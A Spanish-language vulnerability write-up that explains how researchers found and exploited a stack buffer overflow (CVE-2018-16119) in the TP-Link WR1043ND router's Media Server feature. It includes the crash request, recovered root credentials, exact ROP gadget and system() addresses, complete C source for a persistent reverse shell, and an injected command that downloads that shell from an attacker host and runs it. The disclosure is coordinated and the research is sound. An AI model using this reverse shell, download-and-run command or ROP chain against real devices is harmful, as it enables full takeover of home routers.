/ 15 min de lectura

CVE-2018-16119: Ejecución remota de código en un router TP-Link

La placa del router TP-Link con su SoC y su flash expuestos

Introducción

Este post cuenta el descubrimiento del CVE-2018-16119 durante una investigación de vulnerabilidades sobre un router hogareño: el TP-Link WR1043ND. Presentamos los pasos para identificar la vulnerabilidad y cómo se puede explotar para lograr ejecución remota de código en el dispositivo.

El dispositivo

El dispositivo usado en esta investigación fue el router WiFi hogareño TP-Link WR1043ND (firmware versión 3.00).

Router TP-Link WR1043ND Router WiFi hogareño TP-Link WR1043ND (firmware versión 3.00)

Arrancamos con un pentest clásico de aplicación web buscando vulnerabilidades comunes en la interfaz de administración del dispositivo. La contraseña por defecto para acceder al panel de administración era admin:admin.

Pentest clásico de aplicación web Enfoque de pentest clásico de aplicación web sobre la interfaz de administración de TP-Link

No encontramos nada interesante en los componentes por defecto del dispositivo, pero este router tiene una funcionalidad bastante curiosa. Cualquier propietario puede conectar un dispositivo externo al router y habilitar capacidades tipo NAS, una función muy interesante y clave en la campaña de marketing de productos de TP-Link.

Funcionalidad USB NAS Router TP-Link mostrando el puerto USB y las capacidades tipo NAS para conectar dispositivos externos

Una vez conectado un dispositivo externo por el puerto USB, se puede usar la funcionalidad Media Server para crear y compartir carpetas/archivos a través de la red interna.

Descubrimiento de la vulnerabilidad

Cuando el dispositivo creaba una carpeta nueva, se enviaba el siguiente request:

GET /TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=%2Ftmp%2Fusbdisk%2Fvolume1&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close
Upgrade-Insecure-Requests: 1

Lo primero que notamos fue la string rara en la URL: TLROLZZBRWGYNWBA. Esta string actúa como un Session ID de usuario y se genera en cada login. Cualquier modificación de este “token” genera un logout y destruye la sesión del usuario.

Después de jugar con los parámetros, no pudimos abusar del request de Add New Folder para lograr el bug clásico de RCE, pero descubrimos que enviar una string larga de caracteres dentro del parámetro shareEntire hacía que la aplicación crasheara, la interfaz web dejaba de responder requests, e incluso el AP de WiFi dejaba de funcionar.

Request de crash:

GET /RRUJDHBBIZYEJLEA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close
Upgrade-Insecure-Requests: 1

Vista de Burp Suite Repeater Burp Suite Repeater mostrando el request de crash con el payload largo en el parámetro shareEntire

Después de este primer request, cualquier otra interacción falla al conectar con el servicio web, como se puede ver en los requests de curl siguientes.

Request curl fallido Requests curl posteriores fallando después del request de crash inicial, demostrando que el servicio quedó caído

Pensamos que este comportamiento podía estar relacionado con una vulnerabilidad de Buffer Overflow, así que decidimos profundizar un poco más en el problema. Surgió un nuevo obstáculo: para debuggear el crash necesitábamos una forma de ejecutar comandos en el dispositivo.

Acceso al dispositivo

No encontramos forma de lograr ejecución de comandos a través de la interfaz web, y tampoco pudimos conectarnos al dispositivo por SSH.

El segundo enfoque fue acceder por la interfaz UART de la placa. Esto requirió algo de soldadura menor, como se muestra en la siguiente imagen:

Soldadura de la interfaz UART Interfaz UART de la placa TP-Link mostrando los puntos de soldadura necesarios para el acceso de debugging

Después del trabajo de soldadura, pudimos acceder a la placa usando la interfaz UART de Shikra. Para eso usamos la siguiente documentación de PINOUT de UART y conectamos el Shikra al dispositivo.

Documentación del PINOUT de UART Documentación del PINOUT de UART mostrando los puntos de conexión para el acceso de debugging

El Shikra conectado al dispositivo se veía así:

Shikra conectado al dispositivo Dispositivo Shikra conectado al router TP-Link vía la interfaz UART para debugging

Después de una conexión exitosa, el siguiente paso fue detectar la velocidad de comunicación. Para esto usamos Arduino IDE como GUI de la interfaz UART. Jugando con los baud rates, encontramos que el correcto era: 115200.

GUI de la interfaz UART Arduino IDE usado como GUI de la interfaz UART mostrando conexión exitosa a 115200 baud

Información útil se imprimía en la interfaz UART mientras la placa bootaba, pero lo más importante fue la arquitectura del dispositivo: MIPS Big Endian.

Arquitectura MIPS Big Endian Salida del boot mostrando la arquitectura del dispositivo como MIPS Big Endian

Después del boot del dispositivo, esperábamos un intérprete de comandos del sistema sin protección, pero el dispositivo pidió usuario y contraseña.

Prompt de credenciales del dispositivo Dispositivo pidiendo usuario y contraseña después de la secuencia de boot

Con este nuevo desafío, cambiamos el enfoque de la investigación. Descargamos el firmware original del dispositivo desde la base de datos de routers de DD-WRT:

https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2018/10-10-2018-r37305/tplink_tl-wr1043nd-v2/factory-to-ddwrt.bin

Con la ayuda de la herramienta Binwalk, pudimos extraer el filesystem del router.

Binwalk no funcionaba bien en Mac OSX, pero por suerte había un contenedor Docker bastante bueno para correr Binwalk sin problemas.

Ejecutar Binwalk Corriendo Binwalk usando un contenedor Docker para extraer el filesystem del firmware

Análisis con Binwalk Binwalk extrayendo con éxito el filesystem del router, mostrando la estructura de directorios y archivos

En este punto pudimos obtener el contenido del archivo /etc/shadow y conseguir la representación en texto plano del hash de la contraseña con la ayuda del buscador de Google.

Con esta información, pudimos loguearnos al dispositivo usando la interfaz UART y las credenciales: root:sohoadmin

Debugging del dispositivo

Lo primero que hicimos con este acceso fue revisar todos los procesos corriendo dentro del firmware y detectar el que controlaba la interfaz web. Como es común en este tipo de dispositivos, la aplicación que controlaba la aplicación web era el binario: /usr/bin/httpd

Era una aplicación que usa múltiples llamadas a fork para generar varios threads que controlan distintos aspectos del dispositivo. Nos enfocamos en el último PID de httpd: 548.

Análisis de procesos del dispositivo Análisis de procesos mostrando los procesos de httpd e identificando el PID objetivo 548

Detalle del proceso Vista detallada del proceso httpd responsable del control de la interfaz web

Para entender qué pasaba en el dispositivo cuando se enviaba el request de crash, necesitábamos una forma de debuggear el binario. Para esto es importante tener un gdbserver compilado para MIPS Big Endian. Hay distintas formas de conseguirlo, pero la más rápida es conseguir una versión ya compilada del repositorio de embedded-tools de Rapid7 en Github: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

Con el binario en mano, necesitábamos una forma de transferir el gdbserver al dispositivo. Por suerte, el firmware incluía un binario de TFTP que ayudó mucho en el proceso de subida y descarga de archivos.

Pudimos subir archivos a la placa usando un servidor TFTP y el siguiente comando en la shell de UART:

tftp -g -r gdbserver.mipsbe 192.168.0.100

Servidor TFTP en la máquina local Servidor TFTP corriendo en la máquina local, listo para transferir el binario gdbserver

Cliente TFTP en el router Cliente TFTP en el router WR1043ND descargando gdbserver.mipsbe desde la máquina local

Con el servidor gdb ya instalado, pudimos conectarnos al PID 548 de /usr/bin/httpd y enviar el request de crash para ver qué pasaba en memoria.

Como cliente de esta instancia de GDBServer, usamos IDA Pro v6.8 junto con el binario httpd obtenido del filesystem del firmware.

Para lograr esto, fue necesario seguir una serie de pasos:

  1. Conectar la computadora al ESSID del router
  2. Configurar el debugger de IDA para usar un gdbserver remoto en la barra principal y configurar la IP/puerto del GDBServer en Debugger -> Process Options

Configuración de GDB Configuración del debugger de IDA Pro para la conexión remota a gdbserver 3. Deshabilitar el soporte de step en Settings -> Debugger Options -> Configure specific options para evitar inestabilidad en los breakpoints 4. Conectar al proceso remoto y presionar F9

En este punto enviamos el request para generar el crash y, efectivamente, el registro $PC (equivalente MIPS a EIP/RIP) fue sobreescrito y pudimos modificar el flujo de ejecución del programa. Además, ganamos control sobre varios registros.

Análisis de control de registros Salida del debugger mostrando la sobreescritura exitosa del registro $PC y el control sobre múltiples registros MIPS

Jugando con el módulo pattern_create.rb de Metasploit Framework, pudimos determinar que la memoria empezaba a sobreescribirse después de un padding de 260 bytes. Después de ese padding, los registros empezaban a sobreescribirse en este orden: $s0, $s1, y $pc.

Tomamos este enfoque porque debuggear paso a paso para identificar dónde ocurrían las corrupciones de memoria era realmente laborioso debido a varios errores encontrados trabajando con GDB + IDA en este dispositivo MIPS (los recursos de memoria poco performantes del dispositivo congelaban el servidor de debugging varias veces durante el proceso, o el dispositivo simplemente dejaba de funcionar).

Superficie de ataque

En este punto teníamos un problema potencialmente explotable, pero para estar seguros de su explotabilidad necesitábamos investigar un poco más.

Primero, necesitábamos mapear la superficie de ataque. Antes de actuar, era importante determinar si el Stack y el Heap tenían privilegios de ejecución. Como se puede ver, ambos espacios de memoria permitían ejecución (carácter x en la tercera columna) tanto en el binario principal como en las librerías.

Análisis de superficie de ataque Análisis de mapeo de memoria mostrando permisos de ejecución en los segmentos Stack y Heap

Lo segundo que necesitábamos saber era si el binario tenía ASLR activo. Pudimos determinar que el binario tiene ASLR Parcial activo, lo que significa que la aplicación va a randomizar solo el Stack y el Heap en cada ejecución. Sin embargo, las direcciones del segmento de código no están randomizadas y se pueden usar para armar una cadena ROP.

Estado de ASLR Análisis mostrando ASLR Parcial activo: solo randomización de Stack y Heap

Además, era importante reconocer todas las librerías que usaba la aplicación en su ejecución y dónde empezaban a mapearse en memoria. Esta información nos ayudaría a rebasear la dirección de la librería y conseguir gadgets útiles para armar una cadena ROP.

Como se puede ver, hay varias librerías en uso, pero nos enfocamos en libuClibc-0.9.30.so, cuyo código de ejecución empezaba a mapearse en 0x2AAE2000.

Librerías de la cadena ROP Análisis de mapeo de librerías mostrando libuClibc-0.9.30.so en la dirección base 0x2AAE2000

Una buena idea en este punto fue descargar las librerías usadas por el binario para analizarlas después. Esto se puede hacer con los siguientes comandos:

Terminal window
tftp -p /lib/ld-uClibc-0.9.30.so 192.168.0.100
tftp -p /lib/libpthread-0.9.30.so 192.168.0.100
tftp -p /lib/libuClibc-0.9.30.so 192.168.0.100
tftp -p /lib/libutil-0.9.30.so 192.168.0.100
tftp -p /lib/libwpa_ctrl.so 192.168.0.100
tftp -p /lib/librt-0.9.30.so 192.168.0.100
tftp -p /lib/libmsglog.so 192.168.0.100
tftp -p /lib/libgcc_s.so.1 192.168.0.100

Lo último importante que había que hacer era aprender sobre la arquitectura del dispositivo, específicamente artículos sobre coherencia de caché:

Una nota rápida sobre coherencia de caché:

Básicamente, cuando se intenta ejecutar shellcode en el stack, la CPU va a revisar si ya tiene datos de esa dirección en su caché, lo que significa que si el shellcode tiene propiedades autoalterables como rutinas de decodificación (generalmente vamos a usar algún tipo de rutina de encoding para evitar badchars), las instrucciones codificadas van a terminar ejecutándose en lugar de las decodificadas, debido a la coherencia de caché de la arquitectura MIPS.

Escribiendo el exploit

En este momento tenemos dos enfoques posibles para explotar este tipo de dispositivo:

Enfoque 1: Evitar la [in]coherencia de caché y ejecutar shellcode

Para lograr Remote Code Execution con esta técnica, necesitamos seguir una serie de pasos:

  1. Disparar el bug
  2. ROP a Sleep(1) => Esto va a forzar al procesador a refrescar su caché (evitando la incoherencia de caché)
  3. Saltar al shellcode
  4. La primera parte del shellcode debe decodificar la parte que va a lograr la ejecución de código
  5. ROP a Sleep(1) de nuevo => Para refrescar la caché con el shellcode ejecutable ya decodificado
  6. Saltar al shellcode ejecutable

Esta es la forma tradicional de explotar buffer overflows en arquitectura MIPS, pero después de varios intentos decidimos descartarla porque obteníamos errores de instrucción ilegal cada vez que saltábamos al shellcode decodificado.

Enfoque 2: ROP hacia la syscall system

Forma alternativa de explotar este problema:

  1. Disparar el bug
  2. Conseguir un puntero a una string de comando => ya en memoria (.idata) o cargada por el payload (en el stack)
  3. ROP hacia la función system

Este enfoque funcionó increíblemente bien en este dispositivo. Fue mucho más simple de explotar y el código del exploit terminó siendo más reducido y limpio.

Desarrollo del exploit

Para explotar con éxito esta vulnerabilidad siguiendo el enfoque de ROP hacia la syscall system, es necesario seguir una serie de pasos.

Armar una reverse shell en C/C++ y compilarla para arquitectura MIPS Big Endian

Como queríamos usar un comando TFTP para descargar el shellcode, primero necesitábamos construir el shellcode.

Para esto usamos la siguiente reverse shell:

// Simple Persistent Reverse Shell
// Compile for MIPSBE using the following steps:
// 1) cp reverse_shell_mipsbe.c /tmp/
// 2) docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
// Inside Docker:
// 4) cd /tmp ; mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
// Outside Docker:
// 5) cp /tmp/shh .
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
int socket_info;
int connectie;
int pid;
struct sockaddr_in aanvaller_info;
while(1) {
socket_info = socket(AF_INET, SOCK_STREAM, 0);
aanvaller_info.sin_family = AF_INET;
aanvaller_info.sin_port = htons(3000);
aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.103");
printf("Set data.\n");
printf("Trying to perform a new connection\n");
connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr));
while(connectie < 0){
printf("Connection Failed\n");
sleep(5);
connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr));
}
connectie = write(socket_info,"Connection Completed\n",36);
printf("Successful Connection\n");
pid = fork();
if(pid > 0){
printf("Forking Process\n");
wait(NULL);
}
if(pid == 0){
printf("Process Forked Successfully\n");
dup2(socket_info,0); // input
dup2(socket_info,1); // output
dup2(socket_info,2); // errors
execl("/bin/sh", "/bin/sh", NULL);
usleep(3000);
}
printf("The connection was closed, trying to reconnect...\n");
}
return 0;
}

Para evitar los líos de la cross-compilación en C, usamos un docker ya armado para cumplir esa función: https://hub.docker.com/r/asmimproved/qemu-mips/

Copiamos el archivo reverse_shell_mipsbe.c a la carpeta /tmp/ y lo compartimos con docker para compilar el binario desde ahí:

Comandos:

Terminal window
# Outside Docker Container:
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
# Inside Docker Container:
cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
exit

Proceso de cross-compilación Proceso de compilación con Docker para arquitectura MIPS Big Endian mostrando el setup de cross-compilación

Con el binario ya compilado, copiamos el binario shh a la carpeta del servidor TFTP.

Disparar la vulnerabilidad, poner en el stack un comando encadenado para descargar la reverse shell desde el servidor TFTP del atacante y ejecutarla

Necesitábamos enviar un request que disparara el bug sobreescribiendo el registro $PC y, al final del payload, poner el siguiente comando en el stack:

tftp -g -r shh 192.168.0.103;chmod 777 shh;./shh

Fue un poco complicado porque el comando anterior necesitaba terminar con el opcode de fin de línea: \x00, que no se podía enviar vía un request HTTP. Esto nos obligó a usar padding que permitiera ubicar el comando en memoria relleno con \x00.

Layout de memoria del comando Layout de memoria mostrando la ubicación del comando TFTP en una región de memoria terminada en null

Mover la dirección del stack pointer donde está el comando TFTP al registro $a

En este punto necesitábamos poner la dirección del stack donde ubicamos el comando TFTP en el registro $a0, que se usa como primer argumento en la convención de llamadas de MIPS.

Para esto necesitábamos redirigir el registro $pc controlado hacia un gadget ROP que hiciera esta operación.

Antes de empezar a buscar gadgets útiles, necesitábamos rebasear las librerías usando la dirección donde el binario mapeaba el código ejecutable. Esto se podía hacer para determinar la posición real de un gadget en memoria, porque el sistema operativo del firmware no protegía las direcciones de memoria con ASLR.

Sabíamos que libuClibc-0.9.30.so empezaba a mapearse en la dirección 0x2AAE2000. Pudimos usar esta información para rebasear la dirección estática de esta librería y empezar a buscar gadgets que se pudieran reutilizar en la memoria real del binario.

Rebaseo de librerías Proceso de rebaseo de librerías para determinar las direcciones reales de los gadgets en memoria

Después de buscar un rato, encontramos el siguiente gadget en la librería libuClibc-0.9.30.so que no contiene badchars en su dirección: 0x2AAF84C0

Descubrimiento de gadget ROP Gadget ROP en la dirección 0x2AAF84C0 dentro de la librería libuClibc-0.9.30.so

Este gadget mueve la dirección $sp (que apunta a la string de comando) al registro $s2, y después salta a la dirección puesta en el registro $s0.

Como tenemos control sobre $s0, podemos usar un segundo gadget que mueve la dirección de $s2 a $a0 (primer argumento de cualquier función syscall en MIPS) y salta a la dirección puesta en el registro $s1.

ROP hacia system

El registro $s1 también está sobrecontrolado. Después de poner un puntero válido a la string de comando en el registro $a0 (argumento de la syscall), ahora podemos saltar usando el registro $s1 directamente a la dirección de la función system(): 0x2AB32150 (dirección rebaseada), que también está en la librería libuClibc-0.9.30.so.

Dirección de la función system Ubicación de la función system en la dirección rebaseada 0x2AB32150 dentro de libuClibc-0.9.30.so

Con la dirección $sp (stack pointer) ubicada en el registro $a0 y apuntando a la string de comando, procedemos a saltar a la syscall (system syscall) usando el registro $s1.

Si la cadena ROP se ejecuta con éxito, la syscall va a usar como parámetro el puntero a la string de comando, que va a descargar el binario de la reverse shell desde el servidor TFTP del atacante, darle permisos de ejecución y ejecutarlo.

Después de esto, solo quedaba esperar la reverse shell.

Conexión exitosa de reverse shell Conexión exitosa de reverse shell mostrando ejecución remota de comandos en el router TP-Link

El resultado

Se puede encontrar un exploit completo para esta vulnerabilidad en el siguiente repositorio de GitHub: https://github.com/hdbreaker/CVE-2018-16119

El exploit demuestra la cadena de ataque completa, desde el descubrimiento inicial del buffer overflow hasta lograr ejecución remota de código a través de la explotación de la cadena ROP y el despliegue de la reverse shell en arquitectura MIPS.

Evaluación de impacto

Severidad: Crítica

  • Vector de ataque: Red
  • Autenticación: Requerida (Admin)
  • Impacto: Compromiso completo

Versiones afectadas

  • TP-Link WR1043ND firmware versión 3.00 y anteriores
  • Potencialmente otros modelos de TP-Link con funcionalidad similar de Media Server

Referencias


Investigación realizada por: el equipo de Volt AI
Estado de divulgación: Coordinado con el equipo de seguridad de TP-Link
Impacto: Parcheado en versiones posteriores de firmware